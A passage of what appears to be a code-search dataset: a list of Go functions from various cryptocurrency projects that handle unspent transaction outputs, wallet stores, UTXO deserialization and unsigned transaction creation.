err := dcrutil.NewAmount(txout.Value)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &wire.TxOut{\n\t\tValue: int64(amt),\n\t\tPkScript: pkScript,\n\t}, nil\n}", "func (tc *testContext) extractFundingInput() (*Utxo, *wire.TxOut, error) {\n\texpectedTxHashHex := \"fd2105607605d2302994ffea703b09f66b6351816ee737a93e42a841ea20bbad\"\n\texpectedTxHash, err := chainhash.NewHashFromStr(expectedTxHashHex)\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"Failed to parse transaction hash: %v\", err)\n\t}\n\n\ttx, err := tc.block1.Tx(0)\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"Failed to get coinbase transaction from \"+\n\t\t\t\"block 1: %v\", err)\n\t}\n\ttxout := tx.MsgTx().TxOut[0]\n\n\tvar expectedAmount int64 = 5000000000\n\tif txout.Value != expectedAmount {\n\t\treturn nil, nil, fmt.Errorf(\"Coinbase transaction output amount from \"+\n\t\t\t\"block 1 does not match expected output amount: \"+\n\t\t\t\"expected %v, got %v\", expectedAmount, txout.Value)\n\t}\n\tif !tx.Hash().IsEqual(expectedTxHash) {\n\t\treturn nil, nil, fmt.Errorf(\"Coinbase transaction hash from block 1 \"+\n\t\t\t\"does not match expected hash: expected %v, got %v\", expectedTxHash,\n\t\t\ttx.Hash())\n\t}\n\n\tblock1Utxo := Utxo{\n\t\tAddressType: WitnessPubKey,\n\t\tValue: btcutil.Amount(txout.Value),\n\t\tOutPoint: wire.OutPoint{\n\t\t\tHash: *tx.Hash(),\n\t\t\tIndex: 0,\n\t\t},\n\t\tPkScript: txout.PkScript,\n\t}\n\treturn &block1Utxo, txout, nil\n}", "func (a *Transactions) UnconfirmedInfo(ctx context.Context, id crypto.Digest) (proto.Transaction, *Response, error) {\n\turl, err := joinUrl(a.options.BaseUrl, fmt.Sprintf(\"/transactions/unconfirmed/info/%s\", id.String()))\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\treq, err := http.NewRequest(\"GET\", url.String(), nil)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tbuf := new(bytes.Buffer)\n\tbuf.WriteRune('[')\n\tresponse, err := doHttp(ctx, a.options, req, buf)\n\tif err != nil {\n\t\treturn nil, response, err\n\t}\n\tbuf.WriteRune(']')\n\tout := TransactionsField{}\n\terr = json.Unmarshal(buf.Bytes(), &out)\n\tif err != nil {\n\t\treturn nil, response, &ParseError{Err: err}\n\t}\n\n\tif len(out) == 0 {\n\t\treturn nil, response, errors.New(\"invalid transaction\")\n\t}\n\n\treturn out[0], response, nil\n}", "func DeserializeUtxoEntry(serialized []byte) (*txo.UtxoEntry, error) {\n\t// Deserialize the header code.\n\tcode, offset := deserializeVLQ(serialized)\n\tif offset >= len(serialized) {\n\t\treturn nil, common.DeserializeError(\"unexpected end of data after header\")\n\t}\n\n\t// Decode the header code.\n\t//\n\t// Bit 0 indicates whether the containing transaction is a coinbase.\n\t// Bits 1-x encode height of containing transaction.\n\tisCoinBase := code&0x01 != 0\n\tblockHeight := int32(code >> 1)\n\n\t// Decode the compressed unspent transaction output.\n\tamount, pkScript, asset, _, err := decodeCompressedTxOut(serialized[offset:])\n\tif err != nil {\n\t\treturn nil, common.DeserializeError(fmt.Sprintf(\"unable to decode \"+\n\t\t\t\"utxo: %v\", err))\n\t}\n\n\tentry := txo.NewUtxoEntry(int64(amount), pkScript, blockHeight, isCoinBase, asset, nil)\n\n\treturn entry, nil\n}", "func NewUtxoEntry(isCoinBase bool, blockHeight uint64, spent bool) *UtxoEntry {\n\treturn &UtxoEntry{\n\t\tIsCoinBase: isCoinBase,\n\t\tBlockHeight: blockHeight,\n\t\tSpent: spent,\n\t}\n}", "func CreateUnspents(bh BlockHeader, txn Transaction) UxArray {\n\tvar h cipher.SHA256\n\t// The genesis block uses the null hash as the SrcTransaction [FIXME hardfork]\n\tif bh.BkSeq != 0 {\n\t\th = txn.Hash()\n\t}\n\tuxo := make(UxArray, len(txn.Out))\n\tfor i := range txn.Out {\n\t\tuxo[i] = UxOut{\n\t\t\tHead: UxHead{\n\t\t\t\tTime: bh.Time,\n\t\t\t\tBkSeq: bh.BkSeq,\n\t\t\t},\n\t\t\tBody: UxBody{\n\t\t\t\tSrcTransaction: h,\n\t\t\t\tAddress: txn.Out[i].Address,\n\t\t\t\tCoins: txn.Out[i].Coins,\n\t\t\t\tHours: txn.Out[i].Hours,\n\t\t\t},\n\t\t}\n\t}\n\treturn uxo\n}", "func (w *Wallet) GetUTXO(s *aklib.DBConfig, pwd []byte, isPublic bool) ([]*tx.UTXO, uint64, error) {\n\tvar bal uint64\n\tvar utxos []*tx.UTXO\n\tadrmap := w.AddressChange\n\tif isPublic {\n\t\tadrmap = w.AddressPublic\n\t}\n\tfor adrname := range adrmap {\n\t\tlog.Println(adrname)\n\t\tadr := &Address{\n\t\t\tAdrstr: adrname,\n\t\t}\n\t\tif pwd != nil {\n\t\t\tvar err error\n\t\t\tadr, err = w.GetAddress(s, adrname, pwd)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, 0, err\n\t\t\t}\n\t\t}\n\t\ths, err := imesh.GetHisoty2(s, adrname, true)\n\t\tif err != nil {\n\t\t\treturn nil, 0, err\n\t\t}\n\t\tfor _, h := range hs {\n\t\t\tswitch h.Type {\n\t\t\tcase tx.TypeOut:\n\t\t\t\ttr, err := imesh.GetTxInfo(s.DB, h.Hash)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, 0, err\n\t\t\t\t}\n\t\t\t\toutstat := tr.OutputStatus[0][h.Index]\n\t\t\t\tif !tr.IsAccepted() ||\n\t\t\t\t\t(outstat.IsReferred || outstat.IsSpent || outstat.UsedByMinable != nil) {\n\t\t\t\t\tlog.Println(h.Hash, outstat.IsReferred, outstat.IsSpent, outstat.UsedByMinable)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tu := &tx.UTXO{\n\t\t\t\t\tAddress: adr,\n\t\t\t\t\tValue: tr.Body.Outputs[h.Index].Value,\n\t\t\t\t\tInoutHash: h,\n\t\t\t\t}\n\t\t\t\tutxos = append(utxos, u)\n\t\t\t\tbal += u.Value\n\t\t\t}\n\t\t}\n\t}\n\treturn utxos, bal, nil\n}", "func decodeSpentTxOut(serialized []byte, stxo *txo.SpentTxOut) (int, error) {\n\t// Ensure there are bytes to decode.\n\tif len(serialized) == 0 {\n\t\treturn 0, common.DeserializeError(\"no serialized bytes\")\n\t}\n\n\t// Deserialize the header code.\n\tcode, offset := deserializeVLQ(serialized)\n\tif offset >= len(serialized) {\n\t\treturn offset, common.DeserializeError(\"unexpected end of data after \" +\n\t\t\t\"header code\")\n\t}\n\n\t// Decode the header code.\n\t//\n\t// Bit 0 indicates containing transaction is a coinbase.\n\t// Bits 1-x encode height of containing transaction.\n\tstxo.IsCoinBase = code&0x01 != 0\n\tstxo.Height = int32(code >> 1)\n\n\t// Decode the compressed txout.\n\tamount, pkScript, assetNo, bytesRead, err := decodeCompressedTxOut(\n\t\tserialized[offset:])\n\toffset += bytesRead\n\tif err != nil {\n\t\treturn offset, common.DeserializeError(fmt.Sprintf(\"unable to decode \"+\n\t\t\t\"txout: %v\", err))\n\t}\n\tstxo.Amount = int64(amount)\n\tstxo.PkScript = pkScript\n\tstxo.Asset = assetNo\n\treturn offset, nil\n}", "func (bdm *MySQLDBManager) GetUnspentOutputsObject() (UnspentOutputsInterface, error) {\n\tconn, err := bdm.getConnection()\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tuts := UnspentOutputs{}\n\tuts.DB = &MySQLDB{conn, bdm.Config.TablesPrefix, bdm.Logger}\n\n\treturn &uts, nil\n}", "func fetchNsUnspentValueFromRawCredit(k []byte) ([]byte, error) {\n\tif len(k) < 76 {\n\t\treturn nil, fmt.Errorf(\"short key (expected 76 bytes, read %d)\", len(k))\n\t}\n\treturn k[32:72], nil\n}", "func convertJSONUnspentToOutPoints(\n\tutxos []abcjson.ListUnspentResult) []*extendedOutPoint {\n\tvar eops []*extendedOutPoint\n\tfor _, utxo := range utxos {\n\t\tif utxo.TxType == 1 && utxo.Vout == 0 {\n\t\t\tcontinue\n\t\t}\n\n\t\top := new(wire.OutPoint)\n\t\thash, _ := chainhash.NewHashFromStr(utxo.TxID)\n\t\top.Hash = *hash\n\t\top.Index = utxo.Vout\n\t\top.Tree = utxo.Tree\n\n\t\tpks, err := hex.DecodeString(utxo.ScriptPubKey)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"failure decoding pkscript from unspent list\")\n\t\t\tos.Exit(1)\n\t\t}\n\n\t\teop := new(extendedOutPoint)\n\t\teop.op = op\n\t\tamtCast, _ := abcutil.NewAmount(utxo.Amount)\n\t\teop.amt = int64(amtCast)\n\t\teop.pkScript = pks\n\n\t\teops = append(eops, eop)\n\t}\n\n\treturn eops\n}", "func (bc *BlockChain) FindUTXO(addr string) []TXOutput {\n\tvar UTXOs []TXOutput\n\tunspentTransactions := bc.FindUnspentTransactions(addr)\n\n\tfor _, tx := range unspentTransactions {\n\t\tfor _, out := range tx.VOut {\n\t\t\tif out.CanBeUnlockedWith(addr) {\n\t\t\t\tUTXOs = append(UTXOs, out)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn UTXOs\n}", "func (s *Store) ForEachUnspentOutput(\n\tns walletdb.ReadBucket,\n\tbeginKey []byte,\n\tvisitor func(key []byte, c *Credit) er.R,\n) er.R {\n\tvar op wire.OutPoint\n\tvar block Block\n\tbu := ns.NestedReadBucket(bucketUnspent)\n\tvar lastKey []byte\n\tif err := bu.ForEachBeginningWith(beginKey, func(k, v []byte) er.R {\n\t\tlastKey = k\n\t\terr := readCanonicalOutPoint(k, &op)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Skip the output if it's locked.\n\t\t_, _, isLocked := isLockedOutput(ns, op, s.clock.Now())\n\t\tif isLocked {\n\t\t\treturn nil\n\t\t}\n\n\t\tif existsRawUnminedInput(ns, k) != nil {\n\t\t\t// Output is spent by an unmined transaction.\n\t\t\t// Skip this k/v pair.\n\t\t\treturn nil\n\t\t}\n\t\terr = readUnspentBlock(v, &block)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tbr, err := fetchBlockRecord(ns, block.Height)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif !br.Hash.IsEqual(&block.Hash) {\n\t\t\tlog.Debugf(\"Skipping transaction [%s] because it references block [%s @ %d] \"+\n\t\t\t\t\"which is not in the chain correct block is [%s]\",\n\t\t\t\top.Hash, block.Hash, block.Height, br.Hash)\n\t\t\treturn nil\n\t\t}\n\n\t\t// TODO(jrick): reading the entire transaction should\n\t\t// be avoidable. Creating the credit only requires the\n\t\t// output amount and pkScript.\n\t\trec, err := fetchTxRecord(ns, &op.Hash, &block)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t} else if rec == nil {\n\t\t\treturn er.New(\"fetchTxRecord() -> nil\")\n\t\t}\n\t\ttxOut := rec.MsgTx.TxOut[op.Index]\n\t\tcred := Credit{\n\t\t\tOutPoint: op,\n\t\t\tBlockMeta: BlockMeta{\n\t\t\t\tBlock: block,\n\t\t\t\tTime: br.Time,\n\t\t\t},\n\t\t\tAmount: btcutil.Amount(txOut.Value),\n\t\t\tPkScript: txOut.PkScript,\n\t\t\tReceived: rec.Received,\n\t\t\tFromCoinBase: blockchain.IsCoinBaseTx(&rec.MsgTx),\n\t\t}\n\t\treturn visitor(k, &cred)\n\t}); err != nil {\n\t\tif er.IsLoopBreak(err) || Err.Is(err) {\n\t\t\treturn err\n\t\t}\n\t\treturn storeError(ErrDatabase, \"failed iterating unspent bucket\", err)\n\t}\n\n\t// There's no easy way to do ForEachBeginningWith because these entries\n\t// will appear out of order with the main unspents, but the amount of unconfirmed\n\t// credits will tend to be small anyway so we might as well just send them all\n\t// if the iterator gets to this stage.\n\tif err := ns.NestedReadBucket(bucketUnminedCredits).ForEach(func(k, v []byte) er.R {\n\t\tif existsRawUnminedInput(ns, k) != nil {\n\t\t\t// Output is spent by an unmined transaction.\n\t\t\t// Skip to next unmined credit.\n\t\t\treturn nil\n\t\t}\n\n\t\terr := readCanonicalOutPoint(k, &op)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Skip the output if it's locked.\n\t\t_, _, isLocked := isLockedOutput(ns, op, s.clock.Now())\n\t\tif isLocked {\n\t\t\treturn nil\n\t\t}\n\n\t\t// TODO(jrick): Reading/parsing the entire transaction record\n\t\t// just for the output amount and script can be avoided.\n\t\trecVal := existsRawUnmined(ns, op.Hash[:])\n\t\tvar rec TxRecord\n\t\terr = readRawTxRecord(&op.Hash, recVal, &rec)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\ttxOut := rec.MsgTx.TxOut[op.Index]\n\t\tcred := Credit{\n\t\t\tOutPoint: op,\n\t\t\tBlockMeta: BlockMeta{\n\t\t\t\tBlock: Block{Height: -1},\n\t\t\t},\n\t\t\tAmount: btcutil.Amount(txOut.Value),\n\t\t\tPkScript: txOut.PkScript,\n\t\t\tReceived: rec.Received,\n\t\t\tFromCoinBase: blockchain.IsCoinBaseTx(&rec.MsgTx),\n\t\t}\n\t\t// Use the final key to come from the main search loop so that further calls\n\t\t// will arrive here as quickly as possible.\n\t\treturn visitor(lastKey, &cred)\n\t}); err != nil {\n\t\tif er.IsLoopBreak(err) || Err.Is(err) {\n\t\t\treturn err\n\t\t}\n\t\treturn storeError(ErrDatabase, \"failed iterating unmined credits bucket\", err)\n\t}\n\n\treturn nil\n}", "func CreateUnspents(bh BlockHeader, tx Transaction) UxArray {\n\tvar h cipher.SHA256\n\tif bh.BkSeq != 0 {\n\t\t// not genesis block\n\t\th = tx.Hash()\n\t}\n\tuxo := make(UxArray, len(tx.Out))\n\tfor i := range tx.Out {\n\t\tuxo[i] = UxOut{\n\t\t\tHead: UxHead{\n\t\t\t\tTime: bh.Time,\n\t\t\t\tBkSeq: bh.BkSeq,\n\t\t\t},\n\t\t\tBody: UxBody{\n\t\t\t\tSrcTransaction: h,\n\t\t\t\tAddress: tx.Out[i].Address,\n\t\t\t\tCoins: tx.Out[i].Coins,\n\t\t\t\tHours: tx.Out[i].Hours,\n\t\t\t},\n\t\t}\n\t}\n\treturn uxo\n}", "func (chain *BlockChain) FindUTxO(address string) []TxOutput {\n\tvar UTxOs []TxOutput\n\n\tunspentTransaction := chain.FindUnspentTransactions(address)\n\n\tfor _, tx := range unspentTransaction {\n\t\tfor _, out := range tx.Outputs {\n\t\t\tif out.CanBeUnlocked(address) {\n\t\t\t\tUTxOs = append(UTxOs, out)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn UTxOs\n}", "func (w *Wallet) GetUnspentBlockStakeOutputs() (unspent []types.UnspentBlockStakeOutput, err error) {\n\tw.mu.RLock()\n\tdefer w.mu.RUnlock()\n\n\tif !w.unlocked {\n\t\terr = modules.ErrLockedWallet\n\t\treturn\n\t}\n\n\tunspent = make([]types.UnspentBlockStakeOutput, 0)\n\n\t// prepare fulfillable context\n\tctx := w.getFulfillableContextForLatestBlock()\n\n\t// collect all fulfillable block stake outputs\n\tfor usbsoid, output := range w.blockstakeOutputs {\n\t\tif output.Condition.Fulfillable(ctx) {\n\t\t\tunspent = append(unspent, w.unspentblockstakeoutputs[usbsoid])\n\t\t}\n\t}\n\treturn\n}", "func (b *Bitcoind) ListLockUnspent() (unspendableOutputs []UnspendableOutput, err error) {\n\tr, err := b.client.call(\"listlockunspent\", nil)\n\tif err = handleError(err, &r); err != nil {\n\t\treturn\n\t}\n\n\terr = json.Unmarshal(r.Result, &unspendableOutputs)\n\treturn\n}", "func (f *wsClientFilter) addUnspentOutPoint(op *wire.OutPoint) {\n\tf.unspent[*op] = struct{}{}\n}", "func (s *Store) UnspentOutputs(ns walletdb.ReadBucket) ([]Credit, error) {\n\tvar unspent []Credit\n\n\tvar op wire.OutPoint\n\tvar block Block\n\terr := ns.NestedReadBucket(bucketUnspent).ForEach(func(k, v []byte) error {\n\t\terr := readCanonicalOutPoint(k, &op)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Skip the output if it's locked.\n\t\t_, _, isLocked := isLockedOutput(ns, op, s.clock.Now())\n\t\tif isLocked {\n\t\t\treturn nil\n\t\t}\n\n\t\tif existsRawUnminedInput(ns, k) != nil {\n\t\t\t// Output is spent by an unmined transaction.\n\t\t\t// Skip this k/v pair.\n\t\t\treturn nil\n\t\t}\n\n\t\terr = readUnspentBlock(v, &block)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tblockTime, err := fetchBlockTime(ns, block.Height)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// TODO(jrick): reading the entire transaction should\n\t\t// be avoidable. Creating the credit only requires the\n\t\t// output amount and pkScript.\n\t\trec, err := fetchTxRecord(ns, &op.Hash, &block)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unable to retrieve transaction %v: \"+\n\t\t\t\t\"%v\", op.Hash, err)\n\t\t}\n\t\ttxOut := rec.MsgTx.TxOut[op.Index]\n\t\tcred := Credit{\n\t\t\tOutPoint: op,\n\t\t\tBlockMeta: BlockMeta{\n\t\t\t\tBlock: block,\n\t\t\t\tTime: blockTime,\n\t\t\t},\n\t\t\tAmount: btcutil.Amount(txOut.Value),\n\t\t\tPkScript: txOut.PkScript,\n\t\t\tReceived: rec.Received,\n\t\t\tFromCoinBase: blockchain.IsCoinBaseTx(&rec.MsgTx),\n\t\t}\n\t\tunspent = append(unspent, cred)\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\tif _, ok := err.(Error); ok {\n\t\t\treturn nil, err\n\t\t}\n\t\tstr := \"failed iterating unspent bucket\"\n\t\treturn nil, storeError(ErrDatabase, str, err)\n\t}\n\n\terr = ns.NestedReadBucket(bucketUnminedCredits).ForEach(func(k, v []byte) error {\n\t\tif err := readCanonicalOutPoint(k, &op); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Skip the output if it's locked.\n\t\t_, _, isLocked := isLockedOutput(ns, op, s.clock.Now())\n\t\tif isLocked {\n\t\t\treturn nil\n\t\t}\n\n\t\tif existsRawUnminedInput(ns, k) != nil {\n\t\t\t// Output is spent by an unmined transaction.\n\t\t\t// Skip to next unmined credit.\n\t\t\treturn nil\n\t\t}\n\n\t\t// TODO(jrick): Reading/parsing the entire transaction record\n\t\t// just for the output amount and script can be avoided.\n\t\trecVal := existsRawUnmined(ns, op.Hash[:])\n\t\tvar rec TxRecord\n\t\terr = readRawTxRecord(&op.Hash, recVal, &rec)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unable to retrieve raw transaction \"+\n\t\t\t\t\"%v: %v\", op.Hash, err)\n\t\t}\n\n\t\ttxOut := rec.MsgTx.TxOut[op.Index]\n\t\tcred := Credit{\n\t\t\tOutPoint: op,\n\t\t\tBlockMeta: BlockMeta{\n\t\t\t\tBlock: Block{Height: -1},\n\t\t\t},\n\t\t\tAmount: btcutil.Amount(txOut.Value),\n\t\t\tPkScript: txOut.PkScript,\n\t\t\tReceived: rec.Received,\n\t\t\tFromCoinBase: blockchain.IsCoinBaseTx(&rec.MsgTx),\n\t\t}\n\t\tunspent = append(unspent, cred)\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\tif _, ok := err.(Error); ok {\n\t\t\treturn nil, err\n\t\t}\n\t\tstr := \"failed iterating unmined credits bucket\"\n\t\treturn nil, storeError(ErrDatabase, str, err)\n\t}\n\n\treturn unspent, nil\n}", "func isUnspendable(o *wire.TxOut) bool {\n\tswitch {\n\tcase len(o.PkScript) > 10000: //len 0 is OK, spendable\n\t\treturn true\n\tcase len(o.PkScript) > 0 && o.PkScript[0] == 0x6a: // OP_RETURN is 0x6a\n\t\treturn true\n\tdefault:\n\t\treturn false\n\t}\n}", "func (chain *BlockChain) FindUnspentTransactions(address string) []Transaction {\n\tvar unspentTxs []Transaction\n\n\tspentTxOs := make(map[string][]int)\n\n\titer := chain.Iterator()\n\n\tfor {\n\t\tblock := iter.Next()\n\n\t\tfor _, tx := range block.Transactions {\n\t\t\ttxID := hex.EncodeToString(tx.ID)\n\n\t\tOutputs:\n\t\t\tfor outIdx, out := range tx.Outputs {\n\t\t\t\tif spentTxOs[txID] != nil {\n\t\t\t\t\tfor _, spentOut := range spentTxOs[txID] {\n\t\t\t\t\t\tif spentOut == outIdx {\n\t\t\t\t\t\t\tcontinue Outputs\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif out.CanBeUnlocked(address) {\n\t\t\t\t\tunspentTxs = append(unspentTxs, *tx)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif tx.IsCoinbase() == false {\n\t\t\t\tfor _, in := range tx.Inputs {\n\t\t\t\t\tif in.CanUnlock(address) {\n\t\t\t\t\t\tinTxID := hex.EncodeToString(in.ID)\n\n\t\t\t\t\t\tspentTxOs[inTxID] = append(spentTxOs[inTxID], in.Out)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif len(block.PrevHash) == 0 {\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn unspentTxs\n}", "func (addressManager *AddressManager) LastUnspentAddress() address.Address {\n\treturn addressManager.Address(addressManager.lastUnspentAddressIndex)\n}", "func ParseUtxoAmount(utxo *rpcpb.Utxo) (uint64, *types.TokenID, error) {\n\tscp := utxo.TxOut.GetScriptPubKey()\n\ts := script.NewScriptFromBytes(scp)\n\tif s.IsPayToPubKeyHash() ||\n\t\ts.IsPayToPubKeyHashCLTVScript() ||\n\t\ts.IsContractPubkey() ||\n\t\ts.IsPayToScriptHash() ||\n\t\ts.IsOpReturnScript() {\n\t\treturn utxo.TxOut.GetValue(), nil, nil\n\t} else if s.IsTokenIssue() {\n\t\ttid := (*types.TokenID)(ConvPbOutPoint(utxo.OutPoint))\n\t\tamount, err := ParseTokenAmount(scp)\n\t\treturn amount, tid, err\n\t} else if s.IsTokenTransfer() {\n\t\tparam, err := s.GetTransferParams()\n\t\tif err != nil {\n\t\t\treturn 0, nil, err\n\t\t}\n\t\ttid := (*types.TokenID)(&param.TokenID.OutPoint)\n\t\treturn param.Amount, tid, nil\n\t} else if s.IsSplitAddrScript() {\n\t\treturn 0, nil, nil\n\t}\n\treturn 0, nil, errors.New(\"utxo not recognized\")\n}", "func existsRawUnspent(ns mwdb.Bucket, k []byte) (credKey []byte, err error) {\n\tif len(k) < 78 {\n\t\treturn nil, fmt.Errorf(\"short unspent key (expect 78 bytes, actual %d bytes)\", len(k))\n\t}\n\tv, err := ns.Get(k)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif v == nil {\n\t\treturn nil, nil\n\t}\n\tcredKey = make([]byte, 76)\n\tcopy(credKey, k[42:74])\n\tcopy(credKey[32:72], v)\n\tcopy(credKey[72:76], k[74:78])\n\treturn credKey, nil\n}", "func (c *client) getUtxos(ctx context.Context, address string, confirmations int64) (map[string]it.AddressTxnOutput, error) {\n\tvar utxos []it.AddressTxnOutput\n\turl := c.cfg.insight + \"/addr/\" + address + \"/utxo\"\n\n\tresp, err := c.httpRequest(ctx, url, 5*time.Second)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\terr = json.Unmarshal(resp, &utxos)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tlog.Tracef(\"%v\", spew.Sdump(utxos))\n\n\tu := make(map[string]it.AddressTxnOutput, len(utxos))\n\tfor k := range utxos {\n\t\tif utxos[k].Confirmations < confirmations {\n\t\t\tcontinue\n\t\t}\n\t\ttxID := utxos[k].TxnID\n\t\tif _, ok := u[txID]; ok {\n\t\t\treturn nil, fmt.Errorf(\"duplicate tx ud: %v\", txID)\n\t\t}\n\t\tu[txID] = utxos[k]\n\n\t}\n\n\treturn u, nil\n}", "func (bc *BlockChain) FindUnspentTransactions(addr string) []Transaction {\n\tvar unspentTXs []Transaction\n\tspentTXOutputs := make(map[string][]int)\n\titerator := bc.Iterator()\n\n\tfor {\n\t\t_block := iterator.Next()\n\n\t\tfor _, tx := range _block.Transactions {\n\t\t\ttxID := hex.EncodeToString(tx.ID)\n\n\t\tOutputs:\n\t\t\tfor outIdx, out := range tx.VOut {\n\t\t\t\tif spentTXOutputs[txID] != nil {\n\t\t\t\t\tfor _, spentOut := range spentTXOutputs[txID] {\n\t\t\t\t\t\tif spentOut == outIdx {\n\t\t\t\t\t\t\tcontinue Outputs\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif out.CanBeUnlockedWith(addr) {\n\t\t\t\t\tunspentTXs = append(unspentTXs, *tx)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif !tx.isCoinBaseTx() {\n\t\t\t\tfor _, in := range tx.VIn {\n\t\t\t\t\tif in.CanUnlockOutputWith(addr) {\n\t\t\t\t\t\tinTxID := hex.EncodeToString(in.TxID)\n\t\t\t\t\t\tspentTXOutputs[inTxID] = append(spentTXOutputs[inTxID], in.VOut)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif len(_block.Prev) == 0 {\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn unspentTXs\n}", "func (f *wsClientFilter) removeUnspentOutPoint(op *wire.OutPoint) {\n\tdelete(f.unspent, *op)\n}", "func (r *rescanKeys) unspentSlice() []*wire.OutPoint {\n\tops := make([]*wire.OutPoint, 0, len(r.unspent))\n\tfor op := range r.unspent {\n\t\topCopy := op\n\t\tops = append(ops, &opCopy)\n\t}\n\treturn ops\n}", "func (a *ChainAdaptor) CreateUtxoTransaction(req *proto.CreateUtxoTransactionRequest) (*proto.CreateUtxoTransactionReply, error) {\n\tvinNum := len(req.Vins)\n\tvar totalAmountIn, totalAmountOut int64\n\n\tif vinNum == 0 {\n\t\terr := fmt.Errorf(\"no Vin in req:%v\", req)\n\t\treturn &proto.CreateUtxoTransactionReply{\n\t\t\tCode: proto.ReturnCode_ERROR,\n\t\t\tMsg: err.Error(),\n\t\t}, err\n\t}\n\n\t// check the Fee\n\tfee, ok := big.NewInt(0).SetString(req.Fee, 0)\n\tif !ok {\n\t\terr := errors.New(\"CreateTransaction, fail to get fee\")\n\t\treturn &proto.CreateUtxoTransactionReply{\n\t\t\tCode: proto.ReturnCode_ERROR,\n\t\t\tMsg: err.Error(),\n\t\t}, err\n\t}\n\tfor _, in := range req.Vins {\n\t\ttotalAmountIn += in.Amount\n\t}\n\n\tfor _, out := range req.Vouts {\n\t\ttotalAmountOut += out.Amount\n\t}\n\n\tif totalAmountIn != totalAmountOut+fee.Int64() {\n\t\terr := errors.New(\"CreateTransaction, total amount in != total amount out + fee\")\n\t\treturn &proto.CreateUtxoTransactionReply{\n\t\t\tCode: proto.ReturnCode_ERROR,\n\t\t\tMsg: err.Error(),\n\t\t}, err\n\t}\n\n\trawTx, err := a.createRawTx(req.Vins, req.Vouts)\n\tif err != nil {\n\t\treturn &proto.CreateUtxoTransactionReply{\n\t\t\tCode: proto.ReturnCode_ERROR,\n\t\t\tMsg: err.Error(),\n\t\t}, err\n\t}\n\n\tbuf := bytes.NewBuffer(make([]byte, 0, rawTx.SerializeSize()))\n\terr = rawTx.Serialize(buf)\n\tif err != nil {\n\t\treturn &proto.CreateUtxoTransactionReply{\n\t\t\tCode: proto.ReturnCode_ERROR,\n\t\t\tMsg: err.Error(),\n\t\t}, err\n\t}\n\n\t// build the pkScript and Generate signhash for each Vin,\n\tsignHashes, err := a.calcSignHashes(req.Vins, req.Vouts)\n\tif err != nil {\n\t\treturn &proto.CreateUtxoTransactionReply{\n\t\t\tCode: proto.ReturnCode_ERROR,\n\t\t\tMsg: err.Error(),\n\t\t}, err\n\t}\n\tlog.Info(\"CreateTransaction\", \"usigned tx\", hex.EncodeToString(buf.Bytes()))\n\n\treturn &proto.CreateUtxoTransactionReply{\n\t\tCode: proto.ReturnCode_SUCCESS,\n\t\tTxData: buf.Bytes(),\n\t\tSignHashes: signHashes,\n\t}, nil\n}", "func (f *wsClientFilter) existsUnspentOutPoint(op *wire.OutPoint) bool {\n\t_, ok := f.unspent[*op]\n\treturn ok\n}", "func (dcr *ExchangeWallet) parseUTXOs(unspents []walletjson.ListUnspentResult) ([]*compositeUTXO, error) {\n\tutxos := make([]*compositeUTXO, 0, len(unspents))\n\tfor _, txout := range unspents {\n\t\tscriptPK, err := hex.DecodeString(txout.ScriptPubKey)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error decoding pubkey script for %s, script = %s: %w\", txout.TxID, txout.ScriptPubKey, err)\n\t\t}\n\t\tredeemScript, err := hex.DecodeString(txout.RedeemScript)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error decoding redeem script for %s, script = %s: %w\", txout.TxID, txout.RedeemScript, err)\n\t\t}\n\n\t\tnfo, err := dexdcr.InputInfo(scriptPK, redeemScript, chainParams)\n\t\tif err != nil {\n\t\t\tif errors.Is(err, dex.UnsupportedScriptError) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\treturn nil, fmt.Errorf(\"error reading asset info: %w\", err)\n\t\t}\n\t\tutxos = append(utxos, &compositeUTXO{\n\t\t\trpc: txout,\n\t\t\tinput: nfo,\n\t\t\tconfs: txout.Confirmations,\n\t\t})\n\t}\n\t// Sort in ascending order by amount (smallest first).\n\tsort.Slice(utxos, func(i, j int) bool { return utxos[i].rpc.Amount < utxos[j].rpc.Amount })\n\treturn utxos, nil\n}", "func (addressManager *AddressManager) FirstUnspentAddress() address.Address {\n\treturn 